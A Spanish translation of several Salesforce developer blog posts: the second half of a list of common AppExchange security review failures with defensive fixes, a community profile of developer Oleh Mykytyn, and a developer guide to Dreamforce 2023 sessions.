pueden hacer referencia a recursos externos o en línea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.
Para los componentes de Aura, en particular, el uso de <ltng:require>
también permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que está cargando esté correctamente aislado y no incluya código o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicación Salesforce.
¿Cómo puedo abordar esto?
Para hacer referencia a un recurso CSS externo que haya subido como recurso estático, use una etiqueta <apex:stylesheet>
en su página (para Visualforce) o una etiqueta <ltng:require>
en su marcado .cmp o .app (para Aura ). Busque el código fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link>
o <style>
en ningún lugar para cargar recursos CSS.
Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script>
, las etiquetas <style>
ya están bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluiría su CSS en el archivo CSS asociado de su componente o usaría la función loadStyle
para cargar un archivo CSS de recursos estáticos.
Puede encontrar más información en nuestra documentación para desarrolladores .
#12: JavaScript en Salesforce DOM (solo experiencia clásica)
¿Qué es esto?
Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicación Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.
En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicación en las páginas de Visualforce que usted controla, de modo que el JavaScript personalizado esté esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pestañas web, componentes de página de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podría ser motivo de falla).
¿Cómo puedo abordar esto?
Esto es algo que deberá verificar manualmente en el código fuente de su paquete Salesforce. Verifique y asegúrese de que no haya utilizado JavaScript para crear botones personalizados, pestañas web, componentes de la página de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado esté incluido solo en el dominio de su aplicación con espacio de nombres en las páginas de VisualForce que controla como parte de su aplicación.
Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType>
en los archivos de metadatos de la aplicación (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, asegúrese de eliminarlo. Incluso si su aplicación solo está destinada a usarse en Lightning Experience, si la vulnerabilidad está presente para los usuarios en modo Clásico, el paquete no se puede aprobar.
Esta regla en particular no está especialmente bien documentada, pero puede leer más en el documento Lista de verificación de revisión de seguridad de AppExchange (se requiere iniciar sesión en la comunidad de socios).
#13 — Divulgación de información en páginas de error y excepciones
¿Qué es esto?
En el contexto de la revisión de seguridad de AppExchange, este término se refiere específicamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus páginas de error muestran datos confidenciales del sistema o información de depuración. Por ejemplo, a veces las páginas de error incluyen seguimientos de pila completos que muestran cómo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde está instalada la aplicación. A veces, incluso la información confidencial queda expuesta de esta manera.
¿Cómo puedo abordar esto?
Busque en su base de código llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no válidas, entradas vacías, entradas demasiado largas, acceso a páginas internas sin autenticación, omisión de aplicaciones. flujo, etc
La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.
También puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a través de esta guía de OWASP .
#14 — Componentes de Aura: componente externo de CSS
¿Qué es esto?
Se supone que los componentes de Aura son pequeños, autónomos, reutilizables y reposicionables. CSS que evita la encapsulación de componentes (a través de .THIS) o que utiliza un posicionamiento no estándar (por ejemplo, flotante o posición: absoluta o fija) infringe estas garantías y puede interferir con la visualización de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la razón principal de este tipo de falla.
Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el diseño del sitio web de Salesforce y viola el espíritu del modelo de seguridad de Lightning, donde los componentes están estrictamente aislados y se garantiza que permanecerán en su propio carril.
¿Cómo puedo abordar esto?
Este es otro problema que debes verificar manualmente. Básicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. También recomendamos revisar nuestra documentación para asegurarse de que está siguiendo todas las reglas CSS correctas.
#15 — Canal de mensajes expuesto
¿Qué es esto?
Este término se refiere específicamente a los casos en los que no ha configurado el indicador isExposed
en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.
¿Cómo puedo abordar esto?
Tiene dos opciones, según su caso de uso, que incluyen:
- Registre un ticket de soporte para solicitar que se habilite la eliminación de componentes administrados para su paquete u organización de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectaría la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (asegúrese de mencionar esto específicamente en un mensaje falso). documento positivo sobre su presentación).
- Si tiene que utilizar un componente de canal LMS, asegúrese de tener
isExposed=false
. Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes conisExposed=true
no pueden cambiarisExposed=false
. Utilice únicamente el componente recién creado en el código.
Más información está disponible en la documentación .
#16 – Información confidencial en URL
¿Qué es esto?
Esto se refiere a una situación en la que se envía información confidencial de larga duración en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contraseña). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:
- Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
- Los motores de búsqueda indexan URL y almacenan inadvertidamente información confidencial
- Almacenamiento de rutas URL completas en el historial del navegador local, caché del navegador, marcadores y marcadores sincronizados entre dispositivos
- Información de URL enviada a aplicaciones web de terceros a través del encabezado de referencia o expuesta a scripts de terceros en la página
¿Cómo puedo abordar esto?
Burp Suite puede ayudarle aquí para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicación para detectar cualquier caso en el que se envíen secretos a largo plazo a través de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su método de autenticación (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores métodos de almacenamiento de secretos.
La guía OWASP es un gran recurso a seguir.
#17 – Punto final inseguro
¿Qué es esto?
El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.
¿Cómo puedo abordar esto?
Las herramientas de escaneo pueden ser de ayuda, pero una forma aún más segura de verificar esto es buscar en el código fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco más sobre cómo esto mejora la seguridad en esta página de OWASP .
#18 — Enumeración de nombre de usuario o correo electrónico
¿Qué es esto?
Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situación en la que los atacantes pueden enumerar listas de nombres de usuario o correos electrónicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesión, funciones de olvido de contraseña o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contraseñas reutilizadas de bases de datos comprometidas y fugas o volcados de contraseñas.
¿Cómo puedo abordar esto?
Verifique sus mensajes de error para registros de cuentas, recuperación de contraseñas, intentos de inicio de sesión, etc., y asegúrese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electrónico ingresado es válido.
Por ejemplo, muchos sitios incluyen un mensaje genérico, como: "Si dicho usuario existe, recibirá un correo electrónico con un restablecimiento de contraseña". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electrónico.
Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeración por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.
Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, también puede revisar sus funcionalidades de inicio de sesión manualmente.
OWASP tiene una guía útil para evitar la enumeración de correos electrónicos y nombres de usuarios.
#19 — Gestión de contraseñas
¿Qué es esto?
En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener políticas de contraseñas problemáticas, como por ejemplo:
- Permitir la reutilización de la misma contraseña cuando es necesario restablecerla
- No solicitar la contraseña anterior cuando se permite a los usuarios establecer una nueva contraseña
- Para restablecer la contraseña, enviar una contraseña temporal al correo electrónico de un usuario en texto sin formato
- Dejar contraseñas predeterminadas en los usuarios raíz del servidor o de la base de datos
¿Cómo puedo abordar esto?
Además de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticación de OWASP para obtener algunas pautas sobre cómo establecer políticas de contraseñas seguras:
Burp Suite también es muy útil para identificar problemas relacionados con las contraseñas (por ejemplo, puede usarlo para intentar forzar sus páginas de inicio de sesión).
#20 – Eco de contraseña
¿Qué es esto?
Esto es un poco diferente del problema de administración de contraseñas descrito anteriormente. Un eco de contraseña se refiere a situaciones en las que las contraseñas se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia página de configuración) o en llamadas API/respuestas JSON.
¿Cómo puedo abordar esto?
Asegúrese de que su contraseña no se revele ni se transmita en texto sin formato en ninguna parte de su aplicación. Asegúrese de que en las páginas de configuración u otras páginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el botón si es necesario).
Consulte la hoja de referencia sobre almacenamiento de contraseñas de OWASP para obtener más información.
Burp Suite , o quizás Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.
Recursos adicionales
Si su solución incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organización. Burp Suite es una de las mejores herramientas de seguridad del mercado y también la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prepárate para invertir más tiempo en términos de revisión manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.
Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.
Salesforce Product Security también utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el código fuente del paquete Salesforce. También utilizan la base de datos CVE y el escáner Qualys SSL en la mayoría de los envíos.
Si tiene problemas de seguridad y necesita orientación técnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a través del Portal de seguridad para socios .
Por último, no podemos recomendar lo suficiente Trailhead en términos de preparación para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y también acabamos de renovar el módulo Revisión de seguridad de AppExchange , que analiza el proceso de envío de un extremo a otro.
Sobre el Autor
Anika Teppo es evangelista técnica en Salesforce. Ha estado trabajando con el equipo de revisión de seguridad de AppExchange en Salesforce desde 2017, y su función actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.
Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.
Añadir a holgura Suscríbete a RSS
Oleh Mykytyn encuentra su propósito como desarrollador de Salesforce ☁️
Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
…
Bueno, Oleh consiguió esa sudadera con capucha y ha sido desarrollador de Salesforce desde entonces. Después de ese logro inicial, Oleh pasó a completar insignia tras insignia, desarrollando sus habilidades en Salesforce hasta el punto en que actualmente registra 148 insignias y cuatro superbadges. Sus favoritos incluyen Apex Specialist y Advanced Apex Specialist .
Pero Oleh también ha llevado las habilidades aprendidas al lugar de trabajo y hoy es el Jefe de Atención al Cliente en Redtag. En este cargo, habla en conferencias internacionales en todo el mundo, escribe artículos y aparece como invitado en podcasts. Oleh ahora es reconocido como un pilar de la comunidad Trailblazer , una red global y diversa de 18 millones de estudiantes que adquieren habilidades y se apoyan unos a otros. En el pasado, Oleh no creía que pudiera lograr tales cosas, pero ahora confía en que puede lograr el éxito profesional con trabajo duro, pasión y un proceso paso a paso.
Oleh presenta en la conferencia comunitaria de Salesforce Czech Dreamin'
Qué significa ser un desarrollador de Salesforce
"Ser desarrollador de Salesforce significa estar preparado para los desafíos", dice Oleh. “Siempre hay que pensar en grande y utilizar el pensamiento crítico. Un desarrollador es una 'partícula' poderosa que impulsa la evolución del mundo y trae cosas increíbles a nuestras vidas para hacerlas más simples y agradables. Nuestro valor es desarrollar experiencias de Salesforce y hacer felices a todos nuestros clientes”.
Ser desarrollador de Salesforce significa estar preparado para los desafíos.
Varias personas apoyaron a Oleh en el camino, como su novia, sus padres, su hermano y sus compañeros de equipo, y lo ayudaron a llegar a donde se encuentra ahora en su carrera. Recuerda: “Recuerdo haber reprobado un examen o haber tenido desafíos en un proyecto, y siempre me decían: 'La próxima vez lo conseguirás'. ¡Y eso siempre pasó!”
A Oleh siempre le entusiasma ver cómo Salesforce nunca deja de crecer e innovar, brindando nuevas y mejores experiencias a los desarrolladores y usuarios finales. "Me inspira ver cómo Salesforce valora y escucha a la comunidad", afirma. Una vez invitaron a Oleh a almorzar con el director ejecutivo de Salesforce, Marc Benioff, y quedó sorprendido por lo atento que estaba Marc a cada palabra, así como por cómo consideraba cada comentario de Oleh.
Oleh y el director ejecutivo de Salesforce, Marc Benioff
Algunas sorpresas en el viaje de Salesforce
Al comienzo de su trayectoria en Salesforce, Oleh descubrió a Jim Rohn, un autor y orador motivacional estadounidense, que ayudó a Oleh a cambiar su forma de pensar. Recordará una cita particular de Rohn por el resto de su vida: “No desearía que fuera más fácil; Ojalá estuvieras mejor”.
Con este espíritu, Oleh siempre ha aprendido haciendo e investigando constantemente lo que se necesita. Aprender a hacer las preguntas correctas viene con la experiencia y la práctica. Una de las formas en que Oleh busca mejorar su marca personal es obteniendo certificaciones de Salesforce .
Oleh tras aprobar su primer examen de certificación de Salesforce
Actualmente, Oleh ha obtenido 11 certificaciones y aspira a aprobar una o dos certificaciones más cada año. Esto le permite seguir desafiándose a sí mismo mientras adquiere nuevas y valiosas habilidades. Curiosamente, Oleh suspendió su primera certificación, “App Builder”, dos veces y consideró brevemente que el desarrollo de TI no era para él. Pero luego se dio cuenta de que había subestimado el examen y necesitaba prepararse más de antemano.
Entonces, primero, Oleh analizó la sección en la que había suspendido con los porcentajes de cobertura más bajos. Luego, utilizó preguntas simuladas de tal manera que pudiera ejecutar completamente las tareas en su patio de juegos, lo que le dio una mejor comprensión de la funcionalidad y le ayudó a recordarla mejor que simplemente leer sobre ella.
Él dice: “Me inscribí nuevamente para el examen, pero no se lo dije a nadie (para que nadie se enterara si reprobaba una tercera vez). Pero esta vez pasé y fue uno de los mejores días de mi vida. Después de eso, obtuve una certificación tras otra y ahora sé definitivamente que el fracaso es la clave del éxito”.
Lecciones aprendidas de la comunidad Trailblazer
Oleh se involucró profundamente en la comunidad Trailblazer de desarrolladores de Salesforce y aprendió muchas lecciones a lo largo del camino. Dice: “Aprendí que la marca personal a veces es crucial y, en combinación con las habilidades técnicas, esto es… ¡BOOM! Realmente creo que los desarrolladores más fuertes son las personas que tienen habilidades interpersonales muy bien desarrolladas”. Oleh explica que debe gran parte de su éxito a la buena comunicación, la empatía, la generación de confianza y el deseo de ser una buena persona en el mundo. Además, estas habilidades le han ayudado a formar conexiones profundas con las personas que le rodean.
Aprendí que la marca personal a veces es crucial y, en combinación con las habilidades técnicas, esto es: ¡BOOM!
Las habilidades interpersonales y una actitud positiva también son una alta prioridad para el equipo de Oleh. Creen que aquellos que están dispuestos, son apasionados y buenos para establecer conexiones siempre encuentran la manera de adquirir las habilidades tecnológicas necesarias. “Menos miedo y más aportaciones”, afirma. "Todo es posible en esta vida, y la vida es demasiado corta para rechazar tus sueños por miedo".
Consejos para otros desarrolladores: los foros de desarrolladores son tus mejores amigos
"La comunidad Trailblazer es su familia", explica Oleh. "Aprende todo lo que puedas y devuélvelo cuando estés listo". En 2016, un buen amigo de los Países Bajos le habló de la existencia de los grupos comunitarios Trailblazer e inmediatamente supo que le gustaría llevarlos a los desarrolladores de Lviv .
La comunidad Trailblazer es su familia.
Oleh recuerda: "Cuando comenzó el grupo de Lviv, tomé la iniciativa de liderar el grupo y luego comencé a conocer todos los eventos para desarrolladores de Salesforce". Esto llevó a Oleh a asistir a eventos dirigidos por Salesforce como Dreamforce y eventos Dreamin' dirigidos por la comunidad , e incluso fundó Salesforce Saturday en Lviv, una reunión en persona de la comunidad Trailblazer que gana insignias juntos. Ahora, Oleh une y apoya a la comunidad de desarrolladores ucraniana mediante la creación de canales de Slack y transmisión de YouTube a otras ciudades antes de los eventos virtuales.
El grupo de desarrolladores de Salesforce en Lviv
" Como equipo en Redtag, siempre nos apasiona desarrollar talentos e invitar a nuevos pioneros", dice Oleh. “Esto ayuda a hacer crecer nuestra familia Trailblazer Community. ¡La mejor manera de mantenerse conectado con la comunidad de desarrolladores de Salesforce es uniéndose a un foro, redes sociales y, por supuesto, eventos!
La comunidad Trailblazer también ha hecho una gran contribución a la carrera de Oleh. Ha encontrado muchas respuestas en varios foros, toneladas de contenido valioso en publicaciones de blogs y muchas conversaciones con miembros de la comunidad que comparten recomendaciones o ideas. Él dice: “Estoy agradecido de tenerlos a todos. Gracias a ti, soy quien soy”.
La comunidad Trailblazer apoya al país de origen de Oleh, Ucrania, en Dreamforce 2022.
Oleh anima a todos a ver si hay grupos comunitarios Trailblazer locales o un sábado de Salesforce en su área y unirse a ellos de inmediato (busque un grupo cerca de usted ). Si no existe ninguno, entonces sugiere tomar la iniciativa de crear uno. "Siempre recomiendo los eventos en persona porque son más atractivos e inspiradores".
Para conocer desarrolladores como Oleh y ampliar sus habilidades técnicas, únase a la comunidad de desarrolladores de Salesforce y sea parte de la conversación sobre todo lo relacionado con el desarrollo de Salesforce.
Sobre el Autor
Christie Fidura es la directora de Global Trailblazer Engagement. En este rol, busca involucrar y elevar a la comunidad y trabajar directamente con ellos para comprender sus desafíos, preocupaciones, logros e inspiraciones. Puede encontrar a Christie en la comunidad Trailblazer en https://trailblazer.me/id/christiefidura . Christie, community manager certificada y comercializadora ganadora de múltiples premios, cree en la tecnología, la comunidad y la igualdad.
Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.
Añadir a holgura Suscríbete a RSS
La guía para desarrolladores de Salesforce para Dreamforce 2023 ☁️
Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
…
¡Llamando a todos los desarrolladores de Salesforce! ¿Estás listo para experimentar la magia de AI + Datos + CRM en Dreamforce 2023? Hemos preparado una experiencia repleta de tres días como ninguna otra, así que prepárate para aprender, conectarte, divertirte y retribuir rodeado de compañeros innovadores en la conferencia de tecnología más grande del mundo.
Sabemos que está contando ansiosamente los días hasta que comience Dreamforce, así que siga leyendo para comenzar a planificar su experiencia Dreamforce perfecta, desde conferencias magistrales hasta sesiones en Developer Track y demostraciones prácticas en acción en Developer Grove.
Vea la última tecnología en la conferencia magistral sobre el futuro del desarrollo
AI + Data + CRM están cambiando rápidamente el futuro de los negocios y los desarrolladores están a la vanguardia. Únase al presidente y director de ingeniería, Srini Tallapragada, y a invitados especiales para aprender todo sobre el futuro del desarrollo y cómo puede aprovechar la IA en su trabajo.
Si asistirá a Dreamforce en persona, asegúrese de agregar la conferencia magistral a su agenda . Si lo seguirá desde casa, vea la conferencia magistral completa mientras se transmite en vivo en Salesforce+ .
📅 Marque sus calendarios: jueves 14 de septiembre, de 1:30 a 2:20 p. m., hora del Pacífico
🎤 Oradores destacados: Srini Tallapragada, Alba Rivas, Adam White, Kat Holmes, Chris Peterson, Avanthika Ramesh
❗ Añadir a tu agenda
Descubra los aspectos más destacados de la versión para desarrolladores en Developer Preview Live
Eche un primer vistazo a las principales funciones, herramientas e innovaciones para desarrolladores de la versión Winter '24. Vea demostraciones en vivo de interesantes innovaciones de productos y haga preguntas a nuestros expertos en productos. Hay tantas innovaciones nuevas para los desarrolladores en esta versión que ¡no querrás perderte esto!
📅 Marque sus calendarios: jueves 14 de septiembre, de 2:30 a 3:30 p. m., hora del Pacífico
🎤 Oradores destacados: Aditya Naag Topalli, Mohith Shrivastava, Ewald Hofman, Danielle Larregui, Greg Whitworth, Akshata Sawant, Sarah Welker
❗ Añadir a tu agenda
Mejora tus habilidades en la ruta de desarrollador
Developer Track ofrece una combinación de sesiones de teatro de 20 minutos en Developer Theatre y sesiones de trabajo de 40 minutos. Espere asimilar las mejores prácticas, consejos y mucha inspiración. ¡Y hay algo para todos, sin importar los temas que te apasionen! Tenemos sesiones para todos los niveles (principiante, intermedio, avanzado) en todas las funciones y temas: IA generativa, nube de datos, DevOps Center, MuleSoft, Code Builder, Apex, AppExchange, Lightning Web Components, Slack, seguridad, accesibilidad y más.
📍 Las sesiones de calentamiento se ubicarán en todo Trailblazer Forest: en Developer Theatre junto a Developer Grove, Redwood Theatre, Einstein Theatre, Data Cloud Theatre y Olympic Theatre. Las sesiones de trabajo de Developer Track se llevarán a cabo en el segundo y tercer piso de Moscone West. Asegúrese de consultar su agenda para conocer la ubicación exacta de las habitaciones.
Para encontrar estas sesiones en el catálogo de sesiones de Dreamforce , seleccione Función en la navegación izquierda y marque Desarrollador para ver todas las sesiones etiquetadas para desarrolladores.
Algunas sesiones imperdibles para agregar a tu agenda ✏️
Descubra el poder de Einstein GPT para desarrolladores
Qué esperar: La IA generativa ha arrasado en el mundo de la tecnología. Conozca las capacidades más recientes de Einstein GPT y cómo los desarrolladores pueden utilizar la tecnología para crear sus propias aplicaciones impulsadas por IA en Salesforce.
Oradores destacados: Stephan Chandler-García, Ananya Jha
❗ Añade esta sesión a tu agenda
Comprensión de la nube de datos para desarrolladores de Salesforce
Qué esperar: aprenda qué significa Data Cloud para los desarrolladores, cómo se exponen sus artefactos como metadatos de plataforma familiares y cómo ingerir e interactuar con sus datos mediante SQL, Apex, Flows, API y SDK.
Oradores destacados: Aditya Naag Topalli, Danielle Larregui
❗ Añade esta sesión a tu agenda
¿Quieres un mejor código? Einstein GPT y Code Analyzer pueden ayudar
Qué esperar: Impulse el desarrollo de Salesforce con el dúo dinámico de Einstein GPT para desarrolladores y Code Analyzer. Aprenda cómo optimizar la generación y validación de código directamente desde las experiencias IDE.
Oradores destacados: Gordon Bockus, Vivek Chawla
❗ Añade esta sesión a tu agenda
Componentes web Lightning: novedades y novedades
Qué esperar: aprenda cómo puede utilizar Lightning Web Components para hacer que el desarrollo en Salesforce sea más fácil y eficiente. Vea las últimas funciones disponibles para LWC y lo que se avecina en la hoja de ruta.
Oradores destacados: Alicia Teo, Alice Oh, Leo Balter
❗ Añade esta sesión a tu agenda
Hoja de ruta de Apex: novedades y novedades
Qué esperar: Los gerentes de producto de Salesforce profundizarán en las funciones lanzadas recientemente y en el futuro en la hoja de ruta de Apex, incluido Einstein GPT para desarrolladores.
Oradores destacados: Daniel Ballinger, Chris Peterson
❗ Añade esta sesión a tu agenda
Aumente la productividad de los desarrolladores con GraphQL e IA generativa
Qué esperar: Sumérgete en la nueva API GraphQL, donde las consultas y mutaciones se pueden combinar en una sola solicitud, ganando rendimiento y flexibilidad. Eche un vistazo a cómo redactar consultas con IA generativa.
Oradores destacados: Julián Duque, Ben Sklar
❗ Añade esta sesión a tu agenda
Desarrollar componentes web Lightning para dispositivos móviles sin conexión
Qué esperar: ¿ Usuarios móviles sin conexión? Aprenda cómo habilitarlos con componentes web Lightning personalizados para mostrar e incluso actualizar registros mientras un dispositivo móvil está desconectado de Internet.
Oradora destacada: Angela Le
❗ Añade esta sesión a tu agenda
Gestionar dependencias y conflictos en el Centro DevOps
Qué esperar: profundice en cómo los desarrolladores utilizan DevOps Center para gestionar el ciclo de vida del desarrollo de software. Comience con DevOps Center y aprenda a solucionar los problemas más comunes, como la resolución de conflictos.
Oradores destacados: Gilson Canario, Francisco Sammartino
❗ Añade esta sesión a tu agenda
Cinco cosas que los desarrolladores de Salesforce deben saber sobre MuleSoft
Qué esperar: Únase a esta sesión para conocer los conceptos clave de MuleSoft que necesita saber como desarrollador de Salesforce. Nos centraremos en las mejores prácticas, consejos y trucos, antipatrones y más con ejemplos en vivo.
Oradores destacados: Gaurav Kheterpal, Akshata Sawant
❗ Añade esta sesión a tu agenda
Pon a prueba tus habilidades en Developer Grove
Developer Grove, ubicado en Trailhead Forest, es el hogar de los desarrolladores durante Dreamforce y el lugar para comenzar su viaje de aprendizaje de tres días .
Nuestra principal atracción este año es una competencia estilo arcade que pone a prueba tus habilidades de ingeniería en IA. ¡Completa tantos desafíos como puedas en el menor tiempo posible para que tu nombre aparezca en la tabla de clasificación y puedas presumir de ello!
Visite la estación de demostración que cubre nuestras aplicaciones de muestra y recetas de código, y descubra cómo puede utilizarlas en su propio trabajo. Cada estación contará con empleados de Salesforce que saben lo que hacen y les encanta ayudar a otros a aprender.
❗Novedad de este año: Estación de consultas 1:1 en Developer Grove. Los desarrolladores de Salesforce pueden registrarse para una consulta individual de 20 minutos con profesionales expertos de Salesforce. Para reservar una consulta individual, visite esta página y seleccione el tema "Desarrollador de Salesforce". Cuando haya terminado de registrarse, se le enviará una confirmación por correo electrónico y estará disponible en la aplicación Salesforce Events; descárguela ahora en App Store o Google Play Store .
Otras cosas a tener en cuenta 👀
Conferencia principal de Dreamforce
Únase al director ejecutivo de Salesforce, Marc Benioff, junto con invitados especiales en el discurso principal de Dreamforce para escuchar todo sobre nuestras innovaciones más recientes.
📅 Marque sus calendarios: martes 12 de septiembre, de 10 a. m. a 12 p. m., hora del Pacífico
❗ Añade la keynote a tu agenda
Fiel al foro principal de clientes
Únase al cofundador y director de tecnología Parker Harris en el foro anual de clientes True to the Core. Escuche a los líderes de productos compartir los aspectos más destacados de nuestra hoja de ruta de productos. Si nunca ha asistido, esta es una excelente sesión para que los desarrolladores pregunten y escuchen las respuestas de nuestros gerentes de producto. ¡Una cosa que seguirá siendo “central” en True to the Core es que habrá muchas preguntas!
📅 Marque sus calendarios: jueves 14 de septiembre, de 11:30 a. m. a 12:30 p. m., hora del Pacífico
❗ Añade esta sesión a tu agenda
Conferencia magistral de TI: cree su cliente 360 con IA confiable
Aprenda cómo resolver sus desafíos de TI más difíciles con IA + Datos + CRM. Escuche cómo los pioneros utilizan las últimas innovaciones de plataforma, nube de datos y MuleSoft para crear entornos de TI de próxima generación, con potentes capacidades de IA generativa integradas.
📅 Marque sus calendarios: martes 12 de septiembre, de 2:30 a 3:20 p. m., hora del Pacífico
❗ Añade esta sesión a tu agenda
Celebración pionera de la noche 1
Recuperaremos la diversión la primera noche de Dreamforce. Únase a nosotros en Trailblazer Forest de 5 a 6:30 p. m. el martes 12 de septiembre en Admin Meadow, Developer Grove y Community Cove para actividades sociales, comidas ligeras y bebidas.
Pistas de administrador y arquitecto
¿Busca diversificar su agenda en Dreamforce este año? Consulte todas las sesiones de código y de código bajo en la sección de administración y en la sección de arquitecto . Para obtener más información sobre cada uno, lea la Guía del administrador de Dreamforce 2023 .
Obtenga aún más contenido de Dreamforce 2023 en Salesforce+
¿No puedes asistir a Dreamforce en persona? Durante los tres días, las conferencias magistrales y las sesiones seleccionadas se transmitirán en vivo en Salesforce+. Habrá dos canales y 72 horas de transmisión en vivo. Además de la experiencia en vivo, más de 120 episodios bajo demanda estarán disponibles para verlos después de que finalice Dreamforce en cualquier momento y lugar.
Regístrese en Salesforce+ ahora para obtener acceso a todo el contenido exclusivo.
Empieza ahora
¡Dreamforce 2023 estará aquí antes de que te des cuenta! Siga estos pasos para prepararse:
- Regístrese para asistir a Dreamforce si aún no lo ha hecho.
- Agregue el discurso de apertura sobre el futuro del desarrollo y la vista previa de la versión para desarrolladores a su agenda.
- Complete Road to Dreamforce 2023 Trailhead Quest antes de las 11:59 p. m. (hora del Pacífico) del 11 de septiembre de 2023 para desbloquear una insignia comunitaria exclusiva y participar para tener la oportunidad de ganar* una de las 25 codiciadas sudaderas con capucha Trailblazer o una de las 50 camisetas Dreamforce.* Se aplican las reglas oficiales . Consulte la página Trailhead Quests para obtener todos los detalles.
- Descargue la aplicación Salesforce Events en App Store o Google Play Store para realizar un seguimiento de todo lo que hay en su agenda en un lugar de fácil acceso.
- Conéctese con sus pares en el grupo comunitario Salesforce Developers Trailblazer.
- Si no asiste en persona, asegúrese de registrarse para la experiencia Salesforce+.
- Seguir @salesforcedevs en Twitter y LinkedIn para obtener más actualizaciones.
Sobre el Autor
Kaitlin Benz es especialista sénior en marketing de desarrolladores en Salesforce. Lo que más le apasiona es la narración de historias, los podcasts y la comida vegana. Encuéntrala en LinkedIn .
Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.
Añadir a holgura Suscríbete a RSS
Farah Sherif comparte el secreto del éxito de los desarrolladores: aprendizaje permanente ☁️
Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
…
